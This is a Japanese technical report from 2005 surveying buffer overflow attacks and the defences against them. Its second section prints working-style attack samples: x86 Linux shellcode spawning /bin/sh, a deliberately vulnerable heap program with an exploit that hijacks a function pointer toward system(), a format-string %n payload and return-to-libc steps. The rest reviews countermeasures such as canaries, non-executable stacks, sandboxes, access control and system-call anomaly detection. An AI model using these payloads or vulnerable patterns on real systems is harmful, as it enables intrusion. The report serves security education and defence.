バッファオーバフロー対策技術に関する報告書

「バッファオーバフロー対策技術に関する報告書」

作成日：2005年05月19日

1はじめに

侵入行為に繋がるバッファオーバフローを利用した攻撃は、下記のようなものに分類される。

・スタックオーバフローを利用した攻撃
・ヒープオーバフローを利用した侵入行為
・フォーマットストリングを利用した侵入行為

これらについて、攻撃の仕組みと直接的な因果関係を示すことが侵入行為に対する知識を深めることと、対策技術が何故このように分類されるかを理解する上で重要であると考える。

2計算機に対する侵入行為

2.1スタックオーバフローを利用した攻撃

以下に、スタックオーバフローを利用する攻撃コードの例を示す。ただし、CPUはIntel32ビットアーキテクチャのものを利用しており、OSはLinuxカーネルを使用しているものと仮定している。

1:
2: char shellcode[] =
3: "\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
4: "\x88\x46\x07\x89\x46\x0c\xb0\x0b"
5: "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
6: "\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
7: "\x80\xe8\xdc\xff\xff\xff/bin/sh";
8:
9: void main() {
10: int addr, *ptr = (int *)&addr + 2;
11:
12:
13: *ptr = (int)shellcode;
14: }

このコードでは、直接main関数のリターンアドレスをシェルコードの先頭アドレスで置き換えている。一方で、スタックの開始位置を正確に掴むことができれば、リターンアドレスの位置をある程度予想することが可能である。そこで、そうした状況でバッファオーバフローを発生させるためには、シェルコードの前にnop命令を挿入するなどして成功率を上げる工夫が必要である。また、バッファが小さすぎてシェルコードを保存できない場合には、環境変数を利用するなどの方法がとられる場合もある [1]。

スタックオーバフローを利用した攻撃への対策として、スタック領域の非実行化という手段がある[3]。この機能によって、スタック領域にシェルコードを保存することを前提とした攻撃は不可能となる。スタックオーバフロー脆弱性はプログラマのコーディングミスによるものである。そこで、脆弱性を無くすために内部バッファをスタティックなものとして宣言するという対策が取られる場合もある。

2.2ヒープオーバフローを利用した侵入行為

実行プログラムがメモリ上にロードされると、テキスト領域、データ領域、BSS領域、ヒープ領域、スタック領域に分かれる。ヒープオーバフローを利用する攻撃では、BSS領域やヒープ領域におけるスタティックな変数の領域やポインタ変数（関数ポインタを含む）が指す領域をオーバフローさせることによって値を不正に書き換える。ヒープオーバフロー脆弱性は、動的にメモリを確保する関数（malloc）や、関数ポインタ、setjmp/longjmp関数が使用される際に見られることがある。攻撃者にとって、ヒープオーバフローを利用した攻撃を行う利点はスタック領域の非実行化が行われたシステムにおいても侵入が果たせるということにある。ヒープ領域やBSS領域が非実行化されることは少ないため、このような脆弱性を持つプログラムが存在するとシステムにとっては脅威となる。以下に、ヒープオーバフローを利用して関数ポインタを書き換える簡単な例を示す [2]。はじめに、ヒープオーバフロー脆弱性を持つコードを示す。

1:#include <unistd.h>
2:#include <stdlib.h>
3:#include <string.h>
4:
5:void test(const char *str) {
6: printf("arg : %s\n", buf);
7: return;
8:}
9:
10:int main(int argc, char **argv)
11:{
12: static char buf[64];
13: static int (*func)(const char *str);
14:
15: func = (void (*)(const char *str))test;
16:
17: memset(buf, 0, sizeof(buf));
18
19: strncpy(buf, argv[1], strlen(argv[1]));
20:
21: (void)(*func)(argv[2]);
22: return 0;
23:}

このプログラムに対して、下記のような攻撃コードを作成することが可能となる。このコードは、上記の脆弱性を持つコードを第一引数に、system関数のオフセットを第二引数に持ち、ヒープオーバフローを引き起こす。

1:#include <unistd.h>
2:#include <stdlib.h>
3:#include <string.h>
4:
5:int main(int argc, char **argv)
6:{
7: unsigned int slocation, tmp;
8: int i;
9: static char buf[69] = {0};
10:
11: slocation = (unsigned int) &system - atoi(argv[1]);
12: memset(buf, '0', 64);
13:
14: tmp = slocation;
15: for (i = sizeof(slocation); i--;) {
16: tmp = tmp >> 8;
17: buf[64 + i] = tmp & 255;
18: }
19:
20: execl("./vulnerable", "./vulnerable", buf, "/bin/sh", NULL);
21: return 0;
22:}

このプログラムでは書き換えた関数ポインタのアドレスが system 関数のアドレスになるように、オフセットを引数として与えなければならない。しかし、攻撃者はそう多くない試行によってシェルを呼び出すことに成功して侵入行為を果たすことが可能となる。

2.3フォーマットストリング脆弱性を利用した侵入行為

フォーマットストリング脆弱性を利用した攻撃では、C言語におけるprintfのような関数を利用する[4]。例えば、printfには変換指定文字\%の後に続く様々な操作で、文字列のフォーマッティングを行う機能がある。以下に攻撃コードの例を示す。

printf("%.*d%n\n", (int) start_attack_code, 0, return_addr_ptr);

はじめに、start_attack_codeには攻撃コードの先頭アドレスが格納されているものとする。'%'の後に'.'が記述されると、その後の数字の数だけ文字を表示する。ここで'*'を用いることによって、その数字をprintfの第二引数として指定している。そのため、%.*dによって0がstart_attack_codeの先頭アドレスの数だけ表示されることになる。次に%nがあることにより、これまでに出力された文字数がreturn_addr_ptrに格納される。すなわち、return_addr_ptrにはstart_attack_codeの先頭アドレスが格納されることになる。あらかじめreturn_addr_ptrの値がリターンアドレスを指すようにしておけば、関数から戻る時点で攻撃コードが実行される。

3対策技術

上記で述べたような攻撃に対してホストベースで対処を行う技術や研究を紹介する。これらの技術は、悪意のあるプログラマがプログラムに内在するバグを利用してリターンアドレスを書き換えプログラマの作成した任意のコードを実行するというロジックに基礎においている。その過程のうちの何れかの段階において検査を行うことによって攻撃を検知するというものである。

3.1プログラマ側の対策技術

3.1.1ソースコードの静的解析技術

バッファオーバフローを利用した侵入行為はプログラマが作成したソースコードに脆弱性が存在することに起因する。ソースコードの解析技術は、利用者がコンパイル前にソースコードを検査する手間を無くす意味やセキュリティに関してプログラマの知識や経験に依存する割合を減らす意味でも有用であると言える。ソースコードの静的解析の分野としては大きく分けてパターンマッチング技術と、構文解析技術とがある。

3.1.2パターンマッチング技術

パターンマッチング技術とはバッファオーバフローを利用した侵入行為を行う際に攻撃者によって利用されやすいプログラミング言語の関数（例えばC言語におけるprintfやstrcpy）などをあらかじめデータベース化しておき、ソースコードにそれらの関数が含まれるかどうかを走査する。もし脆弱性を含む関数が発見された場合は、検知結果を目に見える形で表現する。データベースに含まれる関数は、すでに脆弱性が広く知られているものである。パターンマッチング技術を用いた研究成果には、ITS4 [5]，RATS [6], Flawfinder [7]等が存在する。また、パターンマッチングによって発見された脆弱性の情報を基に、ソースコードをセキュアなものに置き換える研究なども行われている [8]。パターンマッチング技術では、ソースコード内にデータベースに含まれる関数が存在するかどうかを検査する。このため利用者にとっては脆弱性に関連する箇所が把握しやすいという反面、利用者が独自定義した関数内に脆弱性が存在した場合には検出の対象とはならない。

3.1.3構文解析技術

構文解析技術とは、ソースコードを構文解析を用いて抽象化した構文木に変換することによって、ソースコード内部の論理的な矛盾点を発見することを目的とした技術である。論理的な立場からソースコードを精査可能であるため、セキュリティは向上すると言われている。そのようなツールにはSplint(LCLint[9])、Cqual[10]のようなものが存在する。構文解析に制約を加えることによってバッファオーバフロー脆弱性の検出精度を上げる研究なども報告されている[11]。

構文解析技術では、関数呼び出しや変数の関係を詳細に検討することが可能であるため、
脆弱性を発見する助けとなる。しかし、検出ツールがプログラム内の論理的な構造を解釈するためには、ソースコードに対して解析ルールとして注釈を記述する必要がある。また、解析結果より得られた矛盾点に対し、利用者がその原因を調査しなければならない。

ソースコードの静的解析技術を異常検知に適用した研究としては、[12][13]のようなものがある。これらの手法では、ソースコードを静的に解析するものの、プログラムの異常検知は動的に行う。

3.2コンパイル時にセキュアなコードを生成する技術（コンパイラを用いた技術）

コンパイラを拡張することによって、潜在的にバッファオーバフロー脆弱性を内包するソースコードから安全な実行コードを生成する。ソースコードの静的解析とは異なり、脆弱性を検出した後でソースコードを修正する必要がないという利点がある。このようなものとしては、StackGuard [15]、Stack Smashing Protector [16]、Bounds Checking [17]、PointGuard [18]などの研究が存在する。StackGuardとStack Smashing Protectorとでは、実行コードの生成過程において若干の違いはあるものの、どちらもリターンアドレスの前にカナリアと呼ばれる値を挿入して、関数呼び出しから戻る際にその値が書き換えられているかをチェックすることによってバッファオーバフローの発生を検知するという手法が用いられている。また、Stack Smashing ProtectorやPointGuardには内部で用いられている変数や引数の保護機能もあり、カナリアをチェックするだけでは検出できない、関数ポインタを持つ変数を狙ったバッファオーバフロー攻撃に対する保護が可能である。しかし、これらの技術ではバッファオーバフローの発生を検知することは可能であっても、バッファオーバフローの発生自体を防ぐことはできない。

Bounds Checkingではメモリ領域に生成される変数や配列の生成と削除を追跡し、それらが使用される際には常にそのサイズをチェックする。このため、バッファオーバフローを利用する攻撃のほぼ全てに対して、その攻撃を検知することが可能になる。しかし、実行時にはメモリ上のオブジェクトを逐一検査するため、そのオーバヘッドは大きく、また適用不可能なソースコードがあるなどの問題も存在する。

3.3ユーザ（管理者）側の対策技術

3.3.1カーネル技術

OSの機能を拡張することによってプログラムを安全に実行する環境を整える技術がこれにあたる。そのような技術を用いたツールとしてはOpenwall [3]が存在する。Openwallは、ユーザメモリ領域においてスタック内の実行コードを実行できないようにする機能を持つ。この機能によってシェルコードをスタックに保存することを前提としたバッファオーバフローを利用した攻撃を防ぐことが可能である。ただし、バッファオーバフローの発生自体を防ぐことができるわけではない。カーネルの拡張技術を用いると、コンパイラ技術のように個々のアプリケーションプログラムをコンパイルし直す必要がない。しかし、再帰的な処理を行うプログラムでは関数の戻り値にスタックのアドレスを指定するため、スタックの非実行化が利用できないなどの問題も存在する。

また、スタックの非実行化機能では検出できないバッファオーバフロー攻撃というものも存在する[2]。他にも、ヒープオーバフロー攻撃のうち、スタックに実行コードを配置する必要がない場合はスタックの非実行化機能では検出できない。また、次のような手段で侵入を果たすことも可能である[19]。

1. バッファオーバフローを起こしてリターンアドレスをsystemライブラリ関数へのポインタで書き換える。
2. スタック上の次の4バイトは無意味なものでよい（system関数のリターンアドレス）。
3. 次の4バイトは共有ライブラリ上の/bin/sh文字列が記述された位置へのポインタで書き換える（system関数の引数）。

system関数は、引数として渡された文字列を/bin/sh -cの引数にして実行する。このような手順を踏むと、攻撃者はメモリ上のライブラリがロードされたアドレスを知るだけで攻撃を行うことが可能である。また、スタック上に実行コードを置く必要はないためスタックの非実行化機能では検出することができない。

また、OpenBSDのように、プログラムを実行時にスタック領域やヒープ領域のアドレスを確率的に決定することにより、攻撃を困難にする試みも行われている。
また、[57]のような手法も提案されている。

3.3.2 Sandboxを用いた対策技術

　この対策技術では、ファイルシステムを拡張することにより、アプリケーションプログラムから識別可能なディレクトリ構造を制限する。このため、バッファオーバフローを利用する攻撃により、制御が奪われた場合においても被害を最小限に食い止めることができる。
Janus [22]、Mapbox [23]、SBOX [24]、Consh [25]、[26]の研究ではユーザレベルにおいてシステムコールの発行するプロセスを補足して、リファレンスモニタによりアクセス制御を行うことによりSandboxを実装した。このアプローチでは、様々なアクセス制御メカニズムを導入することが容易な反面、オーバヘッドの問題が懸念される。
　他にも、カーネル内にリファレンスモニタを実装した研究がある。SubDomain [27]は、カーネル内でシステムコールを捕捉して特定のアプリケーションにおけるファイルの操作や実行が可能なパスを制限する。TRON [28] では、ファイルやディレクトリに対する権限をプロセス毎に指定可能である。[29] では、DTE (Domain and Type Enforcement) により、MAC (Mandatory Access Control)を実装している。MACについては3.2.3で説明する。カーネルレベルでのアプローチの柔軟性を向上するために、[30] [31]のようにLKM (Loadable Kernel Module)を採用している手法も存在する。
　また、Javaのようにプログラミング言語レベルでSandboxメカニズムを構築しているものや、[32]のように、バイナリ書き換えによりメモリを制限する命令を挿入することを採用している手法もある。[33]では、同様にバイナリレベルにおいて、セキュリティポリシを義務付ける手法がとられている。

3.2.3 MAC (Mandatory Access Control)

MACは、多くのUNIX系OSで採用されているDAC (Discretionary Access Control)とは異なり、システムにより決められたポリシに基づいたアクセス制御が強制される。MAC の機構ではシステムで決められたポリシに基づく制御の判断をするための属性が付加されている。その一つは機密度を表すタグであり，これはラベルと呼ばれ，MLS（マルチレベルセキュリティ）の要となっている。近年、多くのセキュアOSに実装されている [50] [51]。

3.2.4 RBAC (Role Based Access Control)

従来のオペレーティングシステムは，スーパーユーザに必要以上の管理権限が与えられている。それに対しRBAC [52]では管理作業を担うユーザに制限付きの管理権限を割り当てることを可能にする。RBACでは一連の管理作業を果たすための必要最小限の権限を与えることができる。これにより管理者に必要以上の権限を与えず，危機の最小化と複数のユーザによる管理の分散を実現することができる。RBACを実装したOSとしてSolaris8，9，SELinuxなどがある。

3.2.5 MLS (Multi Level Security)

MLSはMAC を実現するすべてのサブジェクト（ユーザやプロセスなど）とオブジェクト（ファイル，ディレクトリ，デバイス，ウィンドウ，ソケットなど）に対して，ユーザの信用度，情報の機密度，重要度などに応じたラベルを付与し，アクセスの制御を実現する機構である。MLS では，サブジェクトには機密ラベルと権限が付与され，オブジェクトに対するアクセスを行う場合には、オブジェクトに付与された機密ラベルルとの優位性により，アクセスを許可するかのどうかの判定を行う。与えられた権限よりも高い機密区分の情報にアクセスするのを阻止し、アクセス権のある情報の機密区分を変更できないようにする。MLSを実装したOSとしてTrusted Solaris [50] やSELinux [51]がある。

3.2.6 TE（Type Enforcement）

TE とは、サブジェクトとオブジェクトとの間の関係でアクセスを制御する機構である。システム上に存在し得るすべてのサブジェクトとオブジェクトにはアクセス制御のためのラベルが付与される。TE ではサブジェクトとオブジェクトに付与されたアクセス制御方針によって、システムレベルでその制御方針を強制的に執行する [29] [49]。

3.2.7システムコールを用いる異常検知

システムコールを用いたプログラムの異常検知は、Forrestらの研究に端を発する。Forrestらは、アプリケーションプログラムが発行するシステムコールシーケンスをN-gramと呼ばれるサブシーケンスに分けることによって、プログラムの正常な動作を特徴付けることができるということを示した [34] [35]。この研究の成果によって、プログラムの発行するシステムコールシーケンスを基にした研究が盛んに行われるようになった。

N-gramとは長さNの固定長文字列のことを指す。N-gramに基づく手法（以下、N-gram手法）では、プログラムが発行するシステムコールシーケンスから複数のN-gramを得て正常動作データとして用いる。N-gram手法における問題は、プログラムが発行するシステムコールシーケンスとプログラムの制御フローを関連付けることができないということや、異常検知の精度や誤検知の数、オーバヘッドが固定長Nの値に依存するということである。
N-gram手法に関連する研究としては、システムコールシーケンスから得たN-gramに対してデータマイニングを適用することによって正常動作時と異常動作時における特徴を捉える研究も行われている [44]。データマイニングを行うことによる利点は、パターン認識や統計的解析、知識学習の分野における様々なアルゴリズムを適用することが可能になる点である。すなわち、Forrestらが提案したN-gram手法が、正常動作データとして与えられたシステムコールシーケンスを機械的に蓄えるだけであるのに対して、この手法ではシステムコールシーケンスからルールセットを学習することによってより効率のよいモデル化を模索している。また、N-gramにおけるNの長さを可変にする研究も存在する[38] [41]。この研究では、Nの長さを可変にすることによってより精度の高い異常検知を行うことを試みている。

また、N-gramにおける個々のシステムコール間の発行時間間隔に着目した研究も存在する [39]。この研究では、あるシステムコールが発行されてから次のシステムコールが発行される時間間隔をグラフ化したものが、アプリケーションプログラムを特徴付けることが可能であるということを述べている。その際、I/Oを扱うシステムコールなどは外部要因に依存する割合が大きいため考慮しないという方式が取られている。

その他のシステムコールのモデル化手法としては、システムコールの発行を状態遷移と捕らえるFinite State Machineに基づく手法（以下、FSM手法）が存在する [36]。Kosoresow [37]らは、システムコールシーケンスの中に周期的に見られるサブシーケンスをそれぞれマクロとして定義し、そのマクロを状態とするような決定的なFSMの生成を行った。しかし、マクロの長さや、マクロに含まれるシステムコールの種類などは経験に基づき手作業で行わなければならない。FSMによるモデル化により、検知精度の向上を図っている。しかし、オーバヘッドはN-gram手法に比べて大きくなる傾向にある。Hidden Malkov Model（HMM）を用いたモデル化を行う手法も存在する [40]。HMMによるモデル化を行ったことによって、検知精度が改善されている一方で、学習や検知のためのオーバヘッドは大きい。

また、システムコールの引数についてモデル化を行った研究 [45]についても報告がなされている。システムコールの引数のモデル化としては、システムコールの引数に含まれる文字列の長さについて確率を求める手法や、個々の文字の分布からその妥当性を検証する手法、文字列を生成するようなNFAを生成する手法について提案が行われている。また、システムコールに基づいたエージェントベースの学習システムを提案している研究 [54]などもある。

異常検知では、誤検知をなくすことが重要とされる。ソースコードの静的解析技術を紹介する際に述べた[12][13]のような研究が行われている。Wagnerらは，システムコールの発行から状態遷移を非決定的に把握するプッシュダウンオートマトン（NDPDA）を生成することによってモデル化を行った[12]。しかし、オーバヘッドは著しく大きくなるという欠点がある。また、大山らはプログラムのスタック情報を利用して制御フローを決定的に把握するということを行っている[13]。[12]に比べてオーバヘッドが低い。また、スタックの情報を利用することによってシステムコールシーケンスを巧妙に偽装した攻撃[14]なども検知することが可能である。ソースコードを解析することによってプログラムが辿る制御フローを完全に把握することが可能であるため誤検知が発生しないという特徴がある。

3.3バイナリコードを解析する技術

ソースコードをコンパイルすることで得られるバイナリコードに対して、解析や修正を行う技術のことを指す。[47]では、バイナリコードの静的解析により、結果としてバイナリコードの書き換えを行った。[48]では、サーバに送られてくるバイト列に、著しい実行可能命令列が観測された場合に侵入行為と見なして、攻撃を検知する手法を評価した。このようにバイナリコードを解析する技術は、アプリケーションの再コンパイルが必要ないなどの利点がある。

3.4ライブラリ技術

ライブラリ技術では、アプリケーションプログラムが利用する脆弱性を含むライブラリを修正することにより、プログラムの実行時におけるセキュリティを高める。このような技術を用いるツールとしては、Libsafe[20]やlibparanoia[21]のようなものが存在する。これらのツールでは、C言語プログラムが呼び出す脆弱性を持つ関数の呼び出しを捕捉して、予め定義されているセキュアな関数で置き換えることによりバッファオーバフロー攻撃やフォーマットストリング攻撃等を防ぐ。プログラムそのものを再コンパイルする必要がないという利点がある一方で、置き換えられた関数を利用した攻撃しか検知できないという欠点もある。また、置き換えられるライブラリ自体に改ざんがないものという仮定が必要である。

他にもライブラリコールを用いる異常検知の研究も行われている [43]。これはシステムコールを用いて異常検知を行う技術に比べて、OSに依存することがなくアプリケーションレベルで攻撃を検知することができる。また、ライブラリコールシーケンスを用いたことによりシステムコールシーケンスより効果的にアプリケーションを特徴付けることが可能である。

4参考文献

[1] Beyond-Security's SecuriTeam.com, Writing Buffer Overflow Exploits - a Tutorial for Beginners, http://www.securiteam.com/securityreviews/5OP0B006UQ.html (accessed 2004-02-13).

[2] Matt Conover & w00w00 Security Team, w00w00 on Heap Overflows, http://www.w00w00.org/files/articles/heaptut.txt (accessed 2004-02-13).

[3] Openwall Project, Linux kernel patch from the Openwall project, http://www.openwall.com/linux/ (accessed 2004-01-20).

[4] 情報処理振興事業協会セキュリティセンター, オープンソースソフトウェアのセキュリティ確保に関する調査,
http://www.ipa.go.jp/security/fy14/reports/oss_security/ (accessed 2004-02-13).

[5] J. Viega, J. Bloch, T. Kohno, and G. McGraw,
Its4: A static vulnerability scanner for c and c++ code,
In Proceedings of the 16th Annual Computer Security Applications Conference, pp. 257-267, Dec. 2000.

[6] Secure software solutions, RATS, The Rough Auditing Tool for Security, http://www.securesw.com/ (accessed 2004-01-20).

[7] David A. Wheeler's, FlowFinder, http://www.dwheeler.com/flawfinder/ (accessed 2004-01-20).

[8] E. Haugh, M. Bishop, Testing C Programs for Buffer Overflow Vulnerabilities. In Proceedings of Network and Distributed Systems Security Symposium (NDSS'03), Feb. 2003.

[9] D. Evans, J. Guttag, J. Horning, Y. Meng Tan, Lclint: A tool for using specifications to check code. In proceedings of the SIGSOFT Symposium on the Foundations of Software Engineering, pp. 87-96, Dec.1994.

[10] X. Zhang, A. Edwards, T. Jaeger, Using CQUAL for Static Analysis of Authorization Hook Placement, In Proceedings of the 11th Usenix Security Symposium, pp. 33-47, Aug. 2002.

[11] D. Larochelle and D. Evans,
Statically detecting likely buffer overflow vulnerabilities,
In Proceedings of the 10th USENIX Security Symposium, pp. 177-190, Aug. 2001.

[12] D. Wagner, D. Dean, Intrusion Detection via Static Analysis, In Proceedings of the 2001 IEEE Symposium on Security and Privacy. pp. 156-168, May. 2001.

[13] 大山恵弘, 王維, 加藤和彦, 静的解析に基づく侵入検知システムの最適化. 第6回プログラミングおよび応用のシステムに関するワークショップ (SPA 2003) 論文集, 日本ソフトウェア科学会, 箱根, March 2003.

[14] D. Wagner and P. Soto. Mimicry Attacks on Host-Based Intrusion Detection Systems. In Proceedings ofthe 9th ACM Conference on Computer and Commu-nications Security, pp. 255-264, Nov. 2002.

[15] C. Cowan, C. Pu, D. Maier, H. Hinton, J. Walpole, P. Bakke, S. Beattie, A. Grier, P. Wagle, Q. Zhang, StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks, In Proceedings of the 7th USENIX Security Conference, pp. 63-78 Jan. 1998

[16] IBM, Stack-Smashing Protector, http://www.trl.ibm.com/projects/security/ssp/ (accessed 2004-01-20).

[17] R. Jones, P. Kelly, Bounds Checking for C, http://www-ala.doc.ic.ac.uk/~phjk/BoundsChecking.html (accessed 2004-01-20).

[18] Cowan, Beattie, Johansen, Wagle, PointGuard: Protecting Pointers From Buffer Overflow Vulnerabilities，USENIX Security 2003.

[19] Linus Torvalds, http://old.lwn.net/1998/0806/a/linus-noexec.html (accessed 2004-02-13)

[20] Avaya Labs Research, Libsafe, http://www.research.avayalabs.com/project/libsafe/ (accessed 2004-02-13).

[21] libparanoia - library which wraps calls to insecure functions, http://www.lexa.ru/snar/libparanoia/ (accessed 2004-02-13)

[22] D. Wagner, Janus: an approach for confinement of untrusted applications, Technical Report CSD-99-1056, 12, 1999.

[23] A. Acharya, M. Raje, Mapbox: Using parameterized behavior classes to confine applications. In Proceedings of the USENIX Security Symposium, pp. 1-17, Aug. 2000.

[24] L. Stein, SBOX: Put CGI Scripts in a Box, In Proceedings of the 1999 USENIX Annual Technical Conference, General Track, pp. 145-155, 1999.

[25] Alexandrov, P. Kmiec, and K. Schauser. Consh: A Confined Execu-tion Environment for Internet Computations. In USENIX Annual Technical Conference, 99. Available at http://www.cs.ucsb.edu/~berto/papers/99-usenix-consh.ps.

[26] K. Jain and R. Sekar. User-Level Infrastructure for System Call Interposition:
A Platform for Intrusion Detection and Confinement. In Proceedings of the ISOC Network and Distributed SecuritySymposium (NSDD '00),
pp. 19-34, 2000.

[27] C. Cowan, S. Beattie, G. Kroah-Hartman, C. Pu, P. Wagle, V. Gligor, SubDomain: Parsimonious Server Security, In Proceedings of the 14th USENIX Systems Administration Conference (LISA 2000), pp. 355-367, Dec. 2000.

[28] A. Berman, V. Bourassa, E. Selberg, TRON: Process-Specific File Protection for the UNIX Operating System In Proceedings of the 1995 USENIX Winter Technical Conference, pp. 165-175, 1995.

[29] K. Walker, D. Sterne, M. Badger, M. Petkac, D. Shermann, and K. Oostendorp,
Confining root programs with domain and type enforcement (DTE),
In Proceedings of the 6th USENIX Security Symposium, July 1996.

[30] T. Fraser, L. Badger, M. Feldman, Hardening COTS software with generic software wrappers, In IEEE Symposium on Security and Privacy, pp. 2-16, 1999.

[31] C. Wright, C. Cowan, J. Morris, S. Smalley, and G. Kroah-Hartman, Lnux security modules: General security support for the linux kernel. In Proc. of the 11thUSENIX Security Symposium, August 2002.

[32] R. Wahbe, S. Lucco, T. Anderson, and S. Graham, Efficient Software-based Fault Isolation, In Proceedings of the 14th ACM Symposium on Operating Systems Principles (SOSP '93), pp. 203-216, Dec. 1993.

[33] G. Necula, P. Lee, Safe Kernel Extensions Without Run-Time Checking, In Proceedings of the Second USENIX Symposium on Operating Systems Design and Implementation (OSDI), pp. 229-243, Oct. 1996.

[34] S. Forrest, S. A. Hofmeyr, A. Somayaji, and T.A. Longstaff, A sense of self for Unix processes, In Proceedinges of the 1996 IEEE Symposium on Computer Security and Privacy, pp. 120-128, 1996.

[35] S. Forrest, S. A. Hofmeyr, and A. Somayaji, Intrusion detection using sequences of system calls. Journal of Computer Security, Vol.6, pp. 151-180, 1998.

[36] R. Sekar, M. Bendre, P. Bollineni and D. Dhurjati, A Fast Automaton-Based Method for Detecting Anomalous Program Behaviors, In Proceedings of the IEEE Symposium on Security and Privacy, pp. 144-155, 2001.

[37] A. P. Kosoresow, S. A. Hofmeyr, Intrusion Detection via System Call Traces, IEEE Software, vol. 14, pp. 24-42, 1997.

[38] C. Marceau, Characterizing the behavior of a program using multiple-length n-grams. In Proceedings of the New Security Paradigms Workshop 2000, pp. 101-110, 2000.

[39] S. Li, A. Jones. Temporal Signatures for Intrusion Detection, In Proceedings of 17th Annual Computer Security Applications Conference, Dec. 2001, pp 10-14.

[40] C. Warrender, S. Forrest, and B. Pearlmutter, Detecting intrusions using system calls: alternative data models, In Proceedings of the 1999 IEEE Symposium on Security and Privacy, pp. 133-145, 1999.

[41] E. Eskin, W. Lee, and S. Stolfo, Modeling system call for intrusion detection using dynamic window sizes, In Proceedings of the 2001 DARPA Information Survivability Conference & Exposition, pp. 165-175, 2001.

[42] G. Helmer, J. Wong, V. Honavar, and L. Miller, Intelligent agents for intrusion detection, In Proceedings of IEEE Information Technology Conference, pp. 121-124, Sep. 1998.

[43] A. Jones, Y. Lin, Application Intrusion Detection using Language Library Calls. In Preceedings of 17th Annual Computer Security Applications Conference December, Dec. 2001.

[44] W. Lee, S. Stolfo, Data Mining Approaches for Intrusion Detection, In Proceedings of the 7th USENIX Security Symposium, pp. 79-94, Jan. 1998.

[45] C. Kruegel, D. Mutz, F. Valeur, G. Vigna, On the Detection of Anomalous System Call Arguments, In Proceedings of ESORICS 2003, pp. 326-343, Oct. 2003.

[46] Sandeep Bhatkar, Daniel C. DuVarney, and R. Sekar, Address Obfuscation: An Efficient Approach to Combat a Broad Range of Memory Error Exploits, 12th USENIX Security Symposium, Washington, DC, August 2003.

[47] Manish Prasad and Tzi-cker Chiueh, A Binary Rewriting Defense Against Stack-based Buffer Overflow Attacks, in the Proceedings of Usenix Annual Technical Conference, San Antonio, TX, June 2003

[48] Thomas Toth and Christopher Kruegel. Accurate Buffer Overflow Detection via Abstract Payload Execution. In 5th Symposium on Recent Advances in Intrusion Detection (RAID), Lecture Notes in Computer Science, Springer Verlag, Switzerland, October 2002.

[49] S. Hallyn, P. Kearns, Domain and Type Enforcement for Linux, available at http://www.cs.wm.edu/~kearns/001lab.d/projects.d/als2000.pdf.

[50] Sun Microsystems, Trusted Solaris Operating System, http://wwws.sun.com/software/solaris/trustedsolaris/.

[51] National Security Agency, Security-Enhanced Linux, http://www.nsa.gov/selinux/.

[52] National Institute of Standards and Technology, Role Based Access Control, http://csrc.nist.gov/rbac/.